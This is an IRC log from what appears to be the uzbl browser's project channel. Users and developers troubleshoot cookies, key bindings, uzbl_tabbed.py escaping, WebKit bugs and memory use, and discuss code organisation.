15:15 < rob|> hehe, that as well
15:17 < rob|> Zombywuf: well, you landed on a planet (channel) where people are concerned about software complexity and squid isn't exactly a prime example of this
15:18 < Zombywuf> squid does one thing and does it well
15:18 < rob|> just like a bunch of other less complex alternatives
15:19 < Zombywuf> Like?
15:20 < rob|> oh, don't know them all by name but google surely does
15:20 < Zombywuf> squid is the one you've heard of for a reason
15:22 < rob|> hehe, that's a poor way to argument.
15:23 < rob|> i could say the very same about ms windows ;)
15:25 < locks> what's wrong with windows?
15:25 < rob|> Zombywuf: http://www.pps.jussieu.fr/~jch/software/polipo/
15:26 < rob|> Zombywuf: being a very good exaple of a lightweight alternative
15:26 < Zombywuf> I can name several OSes off the top of my head, but only one proxy
15:26 < scj> way to miss the point
15:27 < rob|> Zombywuf: and this proofs what? exactly, nothing
15:28 < Zombywuf> ahem, proves
15:28 < rob|> whatever, i'm not a native speaker
15:28 < Zombywuf> Simply that squid is actually very good at doing what it does
15:28 < locks> x'D
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15:29 < Zombywuf> http://www.pps.jussieu.fr/~jch/software/polipo/manual/Forbidden.html#Forbidden er...
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16:13 < bct> rob|: uzbl-core keeps printing events to stdout.
16:14 < bct> they just don't make it over the socket for some reason.
16:14 < dreadlorde> isn't it supposed to?
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16:14 < rob|> bct: try my latest commit, that might fix it
16:15 < bct> cool, thanks
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17:31 < jelly12gen> hi
17:31 < locks> hi
17:31 < jelly12gen> gmail in uzbl works although it says it encoutered a problem >_<
17:32 < jelly12gen> basic html "just works "
17:32 < jelly12gen> too bad google agenda doesnt work
17:32 < jelly12gen> might use chromuim for google things
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17:49 < Count0> So, I'm not sure why wget doesn't pass cookies at all, but I'v found that when I use curl with the cookies generated by the cookies.py script that it get's confused by the sytax and tries to pass the cookies as "<data>=" rather then "<name>=<data>"  I think this is due to the way cookies.py writes session cookies.
17:50  * ruskie is using cookie_daemon.py
17:50 < ruskie> though as I only use -m option with it it's a tad hard to pass the cookies around
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17:54 < Count0> Is cookie_daemon.py much better?
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17:54 < ruskie> yes
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18:04 < Count0> Gotcha, I'll use that, though I did try it and had the same problems.
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18:05 < ruskie> well both use the same cookie jar setup from python
18:05 < Count0> I've never learned as much about cookies as I have over the last day and a half.
18:05 < Count0> yeah, that's what I suspected.
18:05 < ruskie> to bad I lost interest in my own bash based oe
18:05 < Count0> oe?
18:06 < ruskie> one
18:06 < Count0> ah, :-)
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18:50 < mason-l> rob|, Is your sync-events branch working against a really old head?
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18:54 < Dieterbe_>  Zombywuf> squid does one thing and does it well <-- except for the fact that squid tries to reimplement it's own virtual memory in userspace
18:54 < Zombywuf> Do you know a better option?
18:55 < Dieterbe_> nope. at my previous job we tried varnish.  but that looks at squid (and varnish) from a sysadmin perspective
18:55 < Dieterbe_> here squid is from end user perspective, which i'm not familiar with
18:56 < Dieterbe_> good morning/evening/whatever btw everyone
18:56 < Zombywuf> Well, in terms of ease of use squid is great
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18:57 < Zombywuf> And while I agree it would be nice if squid just mmaped pages from disk and let the OS handle disk caching, if you give squid a memory limit is sticks to it
18:58 < Zombywuf> Plus the ability to filter urls with an external program means you can use adzapper (or anything else)
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19:24 < JasonWoof> oop, in the Makefile at master install target doesn't depend on uzbl
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19:25 < JasonWoof> here's a patch: http://fpaste.org/jBeX/
19:25 < JasonWoof> Also I moved the install location for docs
19:26 < JasonWoof> oops, missed the new docs folder in make uninstall
19:26 < JasonWoof> there, fixed: http://fpaste.org/sheT/
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19:30 < Zombywuf> Does anyone know a good gui download manager?
19:37 < rob|> mason-l: old head? hmm, don't think so
19:37 < Count0> right now, I can't seem to get any download manager working with cookies.
19:38 < rob|> JasonWoof: while you are at it, you might also want to have a look at http://github.com/robm/uzbl/blob/experimental/Makefile
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19:38 < rob|> JasonWoof: and see if it also needs some fixing
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19:49 < JasonWoof> I'm currently tolerating gnome and its default window manager :-(
19:49 < JasonWoof> is there a good way to get uzbl windows to always be maximized?
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19:54 < rob|> JasonWoof: well, that's clearly the WMs job, though you can insert a 'set geometry = WxH+X+Y' in uzbl's config as a workaround
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19:55 < JasonWoof> I agree. and someday I'll probably switch back to a more expert-friendly WM.
19:56 < MichaelRaskin> JasonWoof, I think gnome launch shortcuts have "maximize on start" feature.
19:56 < MichaelRaskin> Maybe you should patch the window-open script to use that desktop shortcut, too
19:57 < JasonWoof> hmmmm
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20:02 < JasonWoof> MichaelRaskin: what do you mean gnome launch shortcuts?
20:02 < JasonWoof> I tried making a custom launcher on the panel, then dragging it to the desktop
20:03 < MichaelRaskin> I guess you can create a Desktop or Gnome menu shortcut
20:03 < JasonWoof> the properties panel on those don't have a fullscreen option
20:03 < MichaelRaskin> I have given up on Gnome and KDE long ago
20:03 < JasonWoof> s/fullscreen/maximized
20:03 < MichaelRaskin> Oh?
20:03 < MichaelRaskin> _That_ bad?
20:03 < MichaelRaskin> Sorry then..
20:03 < JasonWoof> it's meant to emulate windows
20:03 < JasonWoof> s/emulate/immitate/
20:03 < MichaelRaskin> Windows had this option (Start maximized)
20:04 < JasonWoof> heh
20:04 < MichaelRaskin> At least in Windows98
20:04 < MichaelRaskin> And I think in XP
20:04 < JasonWoof> gnome: 0  windows: 1  wmii: 38
20:04 < MichaelRaskin> beryl GTK-window-decorator : 20
20:04 < MichaelRaskin> StumpWM: 50
20:05 < JasonWoof> maybe I'll hack something up with wmctl
20:05 < MichaelRaskin> (we have hooks here)
20:05 < JasonWoof> or actually get off my ass and switch back to wmii
20:05 < JasonWoof> oh, a hook would be great. There's one that's triggered after the window has opened?
20:05 < JasonWoof> I should be able to find that
20:06 < MichaelRaskin> Yes
20:06 < JasonWoof> rad, that'll work
20:06 < MichaelRaskin> I don't know about Gnome, though..
20:07 < JasonWoof> eh, me neither. I'm surprised how long I've tolerated gnome
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20:15 < Zombywuf> compiz with the right set of plugins isn't bad as a window manager
20:16 < Count0> yeah, but it is resource heavy with a pretty bad stability problem.
20:19 < Zombywuf> It is very shiny though
20:19 < JasonWoof> heh
20:19 < Zombywuf> Mainly I use it for the wall plugin
20:19 < JasonWoof> yeah, compiz has some nice usability features
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20:20 < Zombywuf> Yeah, animating the switch between virtual pages makes them much nicer to use
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20:33 < Count0> quick question, is everybody else here able to get wget to work on the command line with cookies?
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20:39 < bct> Count0: works for me.
20:40 < Count0> what version of wget are you running?
20:42 < bct> 1.12
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20:46 < rob|> bct: any problems with the latest commit and sockets?
20:46 < bct> i can't test until i get home
20:46 < bct> you gave me that suggestion right when i got to work :)
20:46 < rob|> ah, alright no hurry
20:47 < bct> i'll definitely let you know though
20:47 < rob|> ok, nice
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23:46 < JasonWoof> I  made a small patch to make it so you can set geometry to "maximized" and it'll maximize the window: http://fpaste.org/VyzH/
23:46 < JasonWoof> not sure I did it right
23:47 < JasonWoof> probably not in fact
23:49 < JasonWoof> should probably make a separate config option
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08:09 < JasonWoof> how do I bind a key to follow the link under that I just searched to?
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08:14 < JasonWoof> if that's not clear (tired here) let me try again: I searched (with a key bound to "search %s") and now the currently hilighted search result is part of a link. I'd like to bind something to hit that link.
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08:33 < rob|> JasonWoof: well, you can do this with some javascript
08:36 < rob|> JasonWoof: you would use the document.selection object to get to your selection and iterate over document.links.length, match the selction with the innerHTML of that and if there is a match you'd Uzbl.run("uri " + document.links[i].href)
08:37 < rob|> that probably won't work as easily in every case, especially if the innerHTML contains markup
08:37 < rob|> morning, btw.
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08:39 < rob|> anyways, in that case you wouldn't use a simple but a regexp match
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08:47 < mason-l> Morning rob|
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08:50 < rob|> hey mason
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08:54 < rob|> did you give the sync-event branch a try?
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09:05 < mason-l> rob|, Is there something working there?
09:05 < mason-l> How did you end up doing it?
09:06 < rob|> well, sort of. it uses recursive main loops and a callback that breaks out of that loop when needed
09:06 < mason-l> Oh
09:06 < mason-l> Well I'll pull it in and tell you if its working.
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09:07 < rob|> though, currenty it does wwork only for LOAD_START
09:07 < rob|> no timeouts, yet
09:07 < mason-l> rob|, With this recursive-main-loops thing is it possible for a recursed main loop to also call a sync event?
09:07 < rob|> and it expects a 'set er = anything' on load_start to quit the recursive loop
09:08 < rob|> yes, it is. basically all sync-events will check wether there's loop already running, quit it and start their own loop
09:08 < mason-l> Actually it turns out that git traffic is blocked from my location (I'm at a public lan)
09:09 < rob|> ah, ok
09:09 < rob|> so you can best try it (when you have some time+access) by submitting multiple uri request without sending an event response
09:09 < mason-l> But I can do some solo-developing from here.
09:09 < mason-l> So what method have you gone?
09:10 < mason-l> Are you raising QUERY events?
09:10 < mason-l> (Was that even good idea?)
09:10 < rob|> no, it's all EVENTs currently. but we can certaily turn those into a QUERY
09:11 < rob|> it's not that bad i guess
09:11 < rob|> but first of all we need to ensure that it works in its basisc before getting more fancy
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09:48 < Dieterbe_> good morning
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18:04 < noisetonepause> anybody else having trouble accessing facebook?
18:06 < bct> rob|: i don't know what you did, but it seems to work 100% now
18:06 < bct> :D
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19:02 < gaunt> I'm having a little trouble with uzbl_tabbed.py, can anyone help?
19:02 < gaunt> the 'go _' and 'gi_' commands don't work.
19:05 < mason-l> gaunt, In the experimental branch?
19:05 < gaunt> I don't think so
19:05 < mason-l> in master?
19:06 < gaunt> prbably.
19:06 < gaunt> lemme check
19:06 < gaunt> no experimental
19:06 < gaunt> just fom the git on the Get page
19:06 < mason-l> gaunt, uzbl_tabbed.py isn't working in the experimental branch.
19:07 < gaunt> Is there a chance I downloaded experimental by mistake?
19:07 < mason-l> Um, did you say "yes from the experimental branch" or "no not from the experimental branch"
19:08 < gaunt> Sorry, I did NOT install the experimental branch
19:08 < mason-l> ok
19:08 < gaunt> and I was wrong earlier - I used the PKGBUILD
19:08 < gaunt> could it be my version of python?
19:08 < mason-l> gaunt, Did you make sure you've updated the uzbl_tabbed.py script in your $XDG_DATA_HOME/uzbl/scripts with the new one installed by the PKGBUILD
19:09 < gaunt> I installed it yesterday, but I'll reinstall
19:09 < gaunt> this system is less than 24hr old
19:09 < mason-l> gaunt, Oh so you didn't have a previous install on your machine?
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19:09 < gaunt> no
19:10 < gaunt> This is brand new
19:10 < mason-l> gaunt, And you've copied your scripts into $XDG_DATA_HOME/uzbl/scripts ?
19:10 < gaunt> yup
19:10 < mason-l> And your launching with uzbl_tabbed.py ?
19:10 < gaunt> yes
19:10 < mason-l> And the binding is correctly defined in your config?
19:11 < gaunt> not in my config, in uzbl_tabbed.py
19:11 < gaunt> I've looked at it, it seems fine
19:11 < mason-l> So you haven't re-defined it?
19:11 < gaunt> no
19:11 < gaunt> The only thing I changed is the 'switch_to_new_tab' option
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19:13 < mason-l> gaunt, Ok, on line 968 of uzbl_tabbed.py can you chuck a -v in the launch flags
19:13 < gaunt> sure
19:13 < mason-l> Becoming: cmd = 'uzbl -v -s %s -n %s_%0.2d %s &' % (sid, self.wid, pid, uri)
19:13 < gaunt> okay
19:14 < gaunt> wait, 968?
19:14 < mason-l> Sorry 986
19:14 < gaunt> oh, okay
19:14 < mason-l> (Sleep dyslexia)
19:14 < gaunt> np
19:14 < gaunt> okay, restarting...
19:14 < mason-l> Then you should see some commands being executed each time you use a uzbl_tabbed.py binding.
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19:15 < gaunt> yeah, that's a lot
19:15 < gaunt> Okay, I'll try and copy the input in,
19:15 < gaunt> but this is a new system, and my copy doesn't work quite right
19:15 < gaunt> so this is what happens when I do 'go uzbl.org'
19:15 < gaunt> new
19:16 < mason-l> gaunt, Can you pastebin some output?
19:16 < gaunt> spawned: 'sh' '-c' 'echo new ' '' '/home/gaunt/.config/uzbl/config' '9723' '0' '/tmp/uzbl_fifo_{string on num}
19:16 < mason-l> Just the relevant section.
19:17 < mason-l> Ok, thats missing something.
19:17 < gaunt> yeah
19:17 < gaunt> as I said, copy doesn't work
19:17 < gaunt> I'm handpasting it...
19:17 < gaunt> the end bit is:
19:17 < gaunt> 'uzbl.org > /tmp/uzbltabbed_9721' -- result: true
19:18 < mason-l> gaunt, Everything else works fine?
19:18 < gaunt> that I've tried
19:19 < gaunt> It seems to be that if there's a '_' then the tabbed version doesn't like it
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19:19 < mason-l> Can you find out if at least something else works?
19:19 < gaunt> like what?
19:19 < mason-l> gaunt, Like gt or gT
19:19 < gaunt> gn works, gt/gT works
19:19 < mason-l> Ah ok.
19:19 < gaunt> gC, gZ, etc work
19:19 < mason-l> So socket & fifo communication is functioning.
19:19 < gaunt> yeah
19:20 < mason-l> But that spawn command up there is weird.
19:20 < gaunt> Yeah, I'll try to copy it, but I'm kind of a newb at Arch so I can't copy from xterm just yet
19:21 < mason-l> Hi-light and middle-click paste?
19:21 < gaunt> middleclick...
19:21 < gaunt> new
19:21 < gaunt> spawned: 'sh' '-c' 'echo new' '' '/home/gaunt/.config/uzbl/config' '9790' '0' '/tmp/uzbl_fifo_12582915_02' '/tmp/uzbl_socket_12582915_02' 'http://www.google.com/' 'Google' 'uzbl.org > /tmp/uzbltabbed_9786' -- result: true
19:21 < gaunt> oh, cool
19:21 < gaunt> thanks
19:21 < mason-l> :)
19:22 < gaunt> Here's a 'gi0'
19:22 < mason-l> Its a problem with the escaping!
19:22 < gaunt> goto
19:22 < gaunt> spawned: 'sh' '-c' 'echo goto' '' '/home/gaunt/.config/uzbl/config' '9790' '0' '/tmp/uzbl_fifo_12582915_02' '/tmp/uzbl_socket_12582915_02' 'http://www.google.com/' 'Google' '0 > /tmp/uzbltabbed_9786' -- result: true
19:22 < mason-l> But I don't know what would be causing it.
19:22 < gaunt> Can I fix it?
19:22 < mason-l> (Unless somethings changed on the uzbl-core side)
19:23 < mason-l> Kinda
19:23 < gaunt> Okay...
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19:24 < mason-l> The binding section starts on line 1008 in the config_uzbl() function.
19:25 < gaunt> In the uzbl_tabbed file?
19:25 < mason-l> Yeah
19:25 < gaunt> Okay.  I see it.
19:25 < mason-l> See those lines:
19:25 < mason-l> bind_format = r'bind %s = sh "echo \"%s\" > \"%s\""'
19:25 < gaunt> yup
19:27 < mason-l> It took a while to get right and I can't check before telling you but it may help by double escaping those \'s
19:27 < gaunt> okay, I'll try that
19:27 < mason-l> At least the first pair
19:28 < mason-l> It took ages to get right the first time, I really hope nothings changed in uzbl-core that screwed up that setup.
19:28 < gaunt> Perfect
19:28 < gaunt> That just fixed it.
19:28 < gaunt> Thank you so much!
19:28 < noisetonepause> err
19:29 < mason-l> No problem, I'm glad it worked :D
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19:29 < gaunt> I'm really happy, I love this browser.
19:29 < noisetonepause> does uzbl compile as 64 by itself, or do i need to tell it to somehwo?
19:29 < noisetonepause> *64 bit
19:30 < mason-l> noisetonepause, Make automatically detects your arch and builds to that arch.
19:30 < noisetonepause> ok
19:30 < mason-l> noisetonepause, Whats bothering you?
19:30 < noisetonepause> err
19:30 < noisetonepause> just rebuilt uzbl
19:31 < noisetonepause> my previous version is... a few months out of date
19:31 < noisetonepause> and there's several things not really owrking now
19:31 < noisetonepause> main thing is windows now autoresize
19:31 < noisetonepause> which makes them a lot larger than i'd like for many sites
19:32 < mason-l> The window resizing bug is caused by a webkit bug. Downgrade or Upgrade.
19:32 < mason-l> (webkit that is)
19:32 < mason-l> If your on arch you may need to use AUR
19:32 < noisetonepause> i'm on ubuntu
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19:33 < mason-l> Easy then
19:33 < juantelez> hi all!
19:33 < noisetonepause> mason-l: very easy... until it breaks:)
19:33  * noisetonepause updates
19:34 < juantelez> how can I copy the URL from the page where I am?
19:35 < noisetonepause> juantelez: in my config (which is ore or less the default and i think that's where it came from), 'yurl' will copy to the xclipboard
19:35 < juantelez> oh!
19:35 < juantelez> right!
19:35 < mason-l> juantelez, Theres a few examples in example config.
19:35 < juantelez> sorry, i forgot that
19:35 < juantelez> mason-l: thnaks
19:36 < mason-l> juantelez, noisetonepause beat me to it.
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19:36 < juantelez> "yurl" in C mode or ":yurl" ?
19:37 < JasonWoof> rob|: thanks for your tip (11 hours ago) about binding a key to follow the link under the selection. I've written this which works nicely:
19:37 < JasonWoof> bind    ^]         = js javascript:(function(){ var n = window.getSelection(); if(n && n.anchorNode && n.anchorNode.parentNode && n.anchorNode.parentNode.href) { window.location = n.anchorNode.parentNode.href;}}());
19:38 < mason-l> JasonWoof, That would make a nice addition to the example config.
19:39 < JasonWoof> cool!
19:39 < mason-l> Make a script: follow_selection.js or something and I'm sure we will be happy to include it.
19:39 < JasonWoof> for years I've wanted a fast graphical browser with good keyboard navigation
19:39 < mason-l> Wiki might be the best bet first off though.
19:39 < mason-l> http://uzbl.org/wiki
19:39 < noisetonepause> mason-l: what do you mean by 'window resizing bug'?
19:39 < JasonWoof> ok
19:40 < mason-l> noisetonepause, Check out the uzbl bug tracker
19:40 < mason-l> I've never had the window-resizing bug myself but its in the bug tracker.
19:40 < noisetonepause> is the bug that the windows resize?
19:40 < noisetonepause> ... i'd check the bug tracker but my browser's not working
19:40 < noisetonepause> ...
19:41 < mason-l> http://www.uzbl.org/bugs/index.php?do=details&task_id=85
19:41 < mason-l> oh
19:41 < mason-l> Haven't got (e)links installed?
19:41 < noisetonepause> oh, yes
19:44 < noisetonepause> well, that's the problem i'm having
19:45 < noisetonepause> ah
19:45 < mason-l> Night guys.
19:45 < JasonWoof> can I quit uzbl (close the window) from a javascript binding?
19:45 < mason-l> JasonWoof, uzbl.run('exit')
19:46 < mason-l> or Uzbl.run('exit');
19:47 < JasonWoof> mason-l: awesome, thanks
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19:53 < noisetonepause> well, argh.
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20:02 < juantelez> noisetonepause: i can't make "yurl" work
20:02 < juantelez> what can I do excactly?
20:03 < juantelez> juan@portatil:~$ grep yurl .config/uzbl/config
20:03 < juantelez> bind    yurl      = spawn $XDG_DATA_HOME/uzbl/scripts/yank.sh 6 primary
20:09 < juantelez> how do I paste what I allready copy?
20:11 < noisetonepause> middle click
20:12 < juantelez> noisetonepause: it dosen't work
20:12 < noisetonepause> don't know then, sorry
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20:14 < juantelez> noisetonepause: thanks anyway, probably I'm doing some stupid thing wrong
20:14 < noisetonepause> there's a lot of variables
20:14 < noisetonepause> do you have xclip installed at all?
20:14 < noisetonepause> i think that's what yank.sh uses
20:15 < juantelez> yes
20:15 < noisetonepause> ... do you have yank.sh? :)
20:15 < juantelez> yes, it use that
20:16 < juantelez> i saw it on the sript file, but is probably that i don't have it install
20:18 < juantelez> noisetonepause: it wasn't install, hehe
20:19 < noisetonepause> makes sense then:)
20:19 < juantelez> hehe
20:21 < juantelez> noisetonepause: i must go, thanks a lot!!
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21:05 < ulughbegh> hi
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22:00 < JasonWoof> this still true?  "at the moment users cannot bind the arrow keys, function keys, caps lock or mouse buttons."
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22:19 < thunktone> JasonWoof: it's true in master but not in the experimental branch
22:20 < thunktone> well not sure about the mouse buttons actually
22:20 < JasonWoof> more interested in the arrow keys right now
22:21 < JasonWoof> though I'd like my spare mouse button to behave differently
22:21 < thunktone> well in experimental they are <Up>, <Down>, <Left> and <Right>
22:26 < JasonWoof> rad
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09:31 < Lerc> I presume someone here is running uzbl atm.  Would you mind telling me how much memory it is using?
09:33 < sECuRE> i would argue that this is not interesting. the better question is: does it have any memory leaks?
09:34 < Lerc> I would argue that I'm targeting an XO.
09:34 < sECuRE> still, it uses as much as it needs
09:35 < sECuRE> i think the devs are very eager to keep all resource requirements to a minimum
09:36 < Lerc> Well it'll be using 10x more than it needs, but that doesn't mean it can't be the best out there.
09:36 < Lerc> Standards are not high these days.
09:37 < Lerc> (I'm rather opinionated on the subject of resource usage)
09:37 < ruskie> you're not the only one ;)
09:37 < Lerc> And still fuming from finding a volume knob that took 4 meg.
09:38 < thunktone> according to `free` 8 instances is using about 100MB on my computer
09:38 < thunktone> *are
09:39 < ruskie> yeah though since they are using shared libs that number is inflated
09:40 < Lerc> want to try http://paste.lisp.org/display/47617
09:41 < Lerc> xrestop can reveal all manner of sins too.
09:45 < ruskie> http://sprunge.us/iDOS
09:46 < Lerc> cool.
09:47 < Lerc> next trick,  the dependancy dance....
09:47 < ruskie> gtk+2 libxt pkgconfig webkitgtk <-- from what I know those are it's direct deps
09:48 < Lerc> yeah, webkit can be a can of worms for a slightly nonstandard distro though.
09:50 < Lerc> I tried once with Midori, but gave up afer w needs x need y needs z...
09:50 < ruskie> lol
09:50 < ruskie> bison enchant flex freetype2 g++ gperf gtk+2 gtk-doc icu jpeg libpng libsoup libtool libxslt pango sqlite try that ;)
09:51 < Lerc> bison!?!
09:52 < ruskie> seems so
09:55 < Lerc> just found this one,  looks useful too  http://www.pixelbeat.org/scripts/ps_mem.py
09:56 < Lerc> warning may cause depression if you are running evolution.
09:56 < ruskie> Sorry, root permission required.
09:56 < ruskie> lol
09:58 < Lerc> it needs privs, but merges multiple instances of processes.
09:59 < ruskie> 19.4 MiB +   1.1 MiB =  20.5 MiBuzbl
09:59 < ruskie> and I only have one instance atm
10:00 < ruskie> 33.5 MiB +  10.0 MiB =  43.6 MiBuzbl (2) <-- that's with 2
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10:07 < Dieterbe_> good morning dudes
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10:33 < rob|> morning.
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10:57 < Dieterbe_> man rss2email is cool
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11:18 < MichaelRaskin> webkit is quote nice to package
11:19 < MichaelRaskin> I say this as WebKit package maintainer in as weird a distro as it gets from the layout point of view
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11:24 < Dieterbe_> ah, that must be nixos
11:29 < MichaelRaskin> Yup
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11:47 < Lerc> MichaelRaskin:  Don't suppose you'd consider trying your hand at a zeroinstall version of webkit while you're at it then?
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12:33 < MichaelRaskin> Why would I?
12:33 < MichaelRaskin> I am not sure it is trivial to make it work
12:33 < MichaelRaskin> We don't have /lib/libc6.so
12:33 < MichaelRaskin> And I have no incentive to install Debian somewhere
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13:46 < olcc> hi
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13:50 < olcc> on archlinux forums I saw mentions of a so-called Lich's css
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13:50 < olcc> however I can't find it anywhere
13:51 < olcc> I don't know if it's the right place to ask
13:51 < mason_l> Hey guys
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18:33 < paroxyzm> Hi! Is there a way to use java applets in uzbl?
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22:22 < Dieterbe_> good night dudes
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00:45 < serguei> Hey guys! Has there been any successes adding mouseless link following in uzbl?
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00:48 < juantelez> hi
00:50 < juantelez> i can't make the script for yurl work
00:50 < juantelez> and I don't know where the problem is
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00:58 < serguei> Hey guys! Has there been any successes adding mouseless link following in uzbl? /quit
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01:00 < juantelez> haha
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04:23 < juantelez> hi
04:24 < juantelez> i really need help to copy/paste url, etc
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04:28 < myname_> hi
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04:28 < lars9> anyone using uzbl?
04:29 < juantelez> hi lars9
04:31 < lars9> hi juantelez, does uzbl have bookmarks, history, multitab? i installed it but it has nothing without configuration:)
04:32 < juantelez> i think not
04:32 < juantelez> multitab dosen't have
04:32 < juantelez> read the README file
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04:44 < lars9> thanks, didnt find multitab in doc...
04:45 < mason_l> lars9, How do you mean multi-tab?
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04:45 < lars9> mason-l: like the tabs in firefox i guess?
04:46 < mason-l> lars9, In the master branch you should checkout uzbl_tabbed.py
04:46 < lars9> mason-l: ok let me see. thanks
04:46 < mason-l> lars9, And this seems pretty easy to follow: http://tuxtraining.com/2009/09/05/uzbl-and-uzbl_tabbed-py-a-browser-that-adheres-to-the-unix-philosophy
04:47 < mason-l> Or http://www.uzbl.org/wiki/uzbl_tabbed
04:47 < lars9> oh the tuxtraining page is better than the tabbed page in wiki
04:48 < lars9> good i can follow it i think
04:48 < mason-l> :)
04:49 < lars9> how about downloading accelerator?
04:50 < mason-l> Um?
04:50 < mason-l> Isn't that a bit of an oxymoron?
04:50 < mason-l> Just use wget
04:51 < lars9> i see:)
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05:28 < lars9> oops, a bad thing for me is many scripts are written in shell script, and i like
05:29 < lars9> *dont like hacking shell scripts...
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05:37 < mason-l> To each his own I suppose.
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05:45 < skottish> Some number of builds of uzbl ago when I used the 'fl' command, after I selected a number the command prompt would clear itself. It doesn't do that any longer. Is there a setting or something that I missed somewhere?
05:46 < mason-l> skottish, Which branch?
05:46 < mason-l> skottish, Master or Experimental?
05:46 < skottish> It's a git build. I believe it's master though.
05:47 < mason-l> skottish, Does it navigate to the page though?
05:47 < skottish> git://github.com/Dieterbe/uzbl.git uzbl
05:47 < skottish> yes
05:47 < mason-l> skottish, Looks like the simple solution is to chain a keycmd clear in the load_start handler
05:48 < mason-l> set load_start_handler = chain 'set status_message = <span foreground="khaki">wait</span>' 'set keycmd ='
05:50 < skottish> It works! Sweet. Thanks.
05:50 < mason-l> No problem.
05:50 < mason-l> Happy browsing!
05:51 < skottish> I know it's not uzbl related exactly, but I'll ask while I'm here. Is the HTML 5 video tag working for webkit-gtk?
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09:19 < Dieterbe_> morning dudes
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09:22 < rob|> morning.
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09:53 < rob|> Dieterbe_: i'm working on splitting the source files, eventually this was about time ;)
09:53 < ruskie> hmm interesting... some site I'm rtying to access is first complaining about ie6 or ff1.5 and then about an enabled popup blocker... WTF
09:54 < Dieterbe_> rob|: you rock
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09:57 < rob|> right now, i have: uzbl-core.(c,h) events.(c,h) callbacks.(c,h)
09:58 < rob|> not sure if we should also outsource the variable and command tables to their own file
09:59 < Dieterbe_> remember, splitting up is only usefull if it solves problems. so better don't split up enough rather then too much
10:02 < thunktone> anyone else have trouble viewing *.gif?
10:02 < thunktone> I just get one frame flashing as the rest are black
10:02 < rob|> animated gifs? those used to be problematic with certain webkit versions
10:02 < thunktone> i tried disabling polipo so I think it's either webkit or uzbl
10:02 < rob|> not sure about the current status, though
10:03 < rob|> it's webkit, uzbl does not touch those kind of things
10:03 < thunktone> thanks, i'll see if there's a webkit upgrade available
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10:08 < rob|> Dieterbe_: well, it does solve organization issues. also i like the idea of grouping code on a per topic basis
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10:49 < rob|> so, pushed. also prettified the make output ;)
10:50  * Dieterbe_ gives rob| a cookie
10:50 < rob|> http://pastebin.com/m3e6f959a
10:50 < Dieterbe_> :d
10:50 < Dieterbe_> i mean :o
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11:10 < mason-l> rob|, I've always preferred the make output format used by the linux kernel http://pastebin.com/d1e3088f5 but thats just my preference.
11:10 < mason-l> brb
11:11  * ruskie generally prefers full blown verbosity with each command and it's flags
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12:47 < kmq> Hi all, I am looking for a way to preload a javascript file so that I can do something like this "bind m _ = js KMQ.magic(%s)"
12:48 < ruskie> you can do script file.js
12:48 < ruskie> iirc
12:48 < kmq> but then how do I get %s into the javascript file ?
12:48 < ruskie> as a param to it?
12:49 < ruskie> #bind    fl* = script $HOME/.config/uzbl/scripts/follow_Numbers.js %s
12:49 < ruskie> example
12:52 < kmq> I'm not clear on how to access %s from within script.js: follow_Numbers.js just uses %s, as if uzbl parses the file and does a search/replace for %s
12:53 < kmq> I was expecting it to be more complicated :-) thx, I will try and see if that works
13:04 < rob|> yeah, it's really that simple. uzbl will replace the %s with the argument _before_ the script is being interpreted
13:10 < mason-l> rob|, I have an idea!
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13:13 < mason-l> Change the syntax to: script <path/to/script.js> <replace string>  I.e. "bind o _ = script launcher_script.js %url" replaces the occurrence of '%url' in the script source with the bind argument.
13:21 < kmq> but there is no way to load a scriptfile at startup, right ? Because then one could simply extend the UZBL object and do something like "bind o _ = js UZBL.myObj.foo(%s,@uzbl_variable)"  (or somesuch)
13:22 < kmq> but maybe I should go read soem code first, before I just make stuff up
13:22 < kmq> man, this is a great browser
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14:52 < rob|> kmq: at startup of what?
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14:56 < mason-l> rob|, The uzbl instance.
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14:57 < rob|> sure, there is
14:57 < mason-l> rob|, There is?
14:57 < rob|> just put 'script foo' into the config file
14:57 < mason-l> Thats it O_O ?
14:58 < rob|> yeah, every command in the config file will be evaluated on startup
14:58 < rob|> s/on/at/
14:59 < mason-l> rob|, And remain regardless of page navigation afterward?
14:59 < rob|> i'm not sure i understand you
15:01 < rob|> that script will be run exactly once at startup, if you want to run it on any other event you would just add it to one of the handlers
15:02 < mason-l> How I understood it was the Uzbl js object was re-instantiated every time the the webview navigates to a new page which is why you chained scripts into the load_start_handler, but your saying that any script executed on startup will remain active for the duration of the uzbl instance?
15:02 < rob|> oh, no that's not what i wanted to say
15:02 < mason-l> ok
15:03 < mason-l> In that case is there a way to load a script once and have it persist throughout the instances life?
15:04 < rob|> i guess the answer is 'no'
15:05 < rob|> btw, still no invitation recieved. i guess the google people have some bigger troubles..
15:06 < mason-l> rob|, I haven't got my second invitation also.
15:06 < mason-l> Neither has my mate.
15:07 < Dieterbe_> you guys want a google wave invite?
15:08 < rob|> well, we're waiting for one already sent to arrive
15:08 < mason-l> Dieterbe_, Already on it.
15:08 < mason-l> And I've sent one to rob|
15:08 < Dieterbe_> k. couldn't help you anyway :P
15:08 < mason-l> Dieterbe_, Whats your wave address?
15:08 < Dieterbe_> i don't care about wave
15:08 < mason-l> It is interesting nonetheless.
15:09 < mason-l> I've found it pretty fun editing the same document as 5-6 other people at once.
15:09 < Dieterbe_> i guess i'll try it at some point in the future. no need for me to hurry
15:10 < mason-l> Certainly no hurry; google wave is still under heavy development and found to be really buggy (even when using Chrome).
15:11 < mason-l> Theres even huge debug "[not-yet-implemented-user] gave everyone access." messages all over the place.
15:12 < rob|> heh
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17:30 < kmq> so, "bind m_ = script /foo/bar.js %s" has the problem that if %s contains "le foo bar" only "le" arrives at the script
17:31 < kmq> since I would liek to translate "m g uzb is great" into a google search of of "uzbl is great" this is not optimal
17:33 < kmq> I changed uzbl.c to concatenate all arguments here: http://pastebin.com/m1ef41d6
17:33 < kmq> so that this script works: http://pastebin.com/m5670921b
17:38 < rob|> hmm...
17:38 < kmq> I was hoping for a hmm... ;-)
17:39 < rob|> did you try to quote '%s'?
17:39 < kmq> yes
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17:40 < kmq> you mean there is a chance that I misread the code, and it actually already does what I want ?
17:41 < rob|> that might be the case, although the current quoting code sucks big times
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17:44 < rob|> it would probably be better to make use of split_quoted() there
17:49 < rob|> Dieterbe_: please have a look at the code splitting to multiple files and pull in. won't do that myself, but will continue to use this approach in my experimental
17:50 < rob|> so if you don't pull it might lead to problems later
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17:51 < rob|> also, i would like to explicitly strip the binary in the makefile
17:51 < rob|> using strip and not gcc's option, that is
17:53 < Dieterbe_> rob|: would you mind sending a pull request to the ML ?
17:53 < rob|> sure, can do so
17:54 < rob|> also added the stripping
18:00 < Dieterbe_> hm crap. i still have some pull requests pending. they will probably break when i merge your stuff
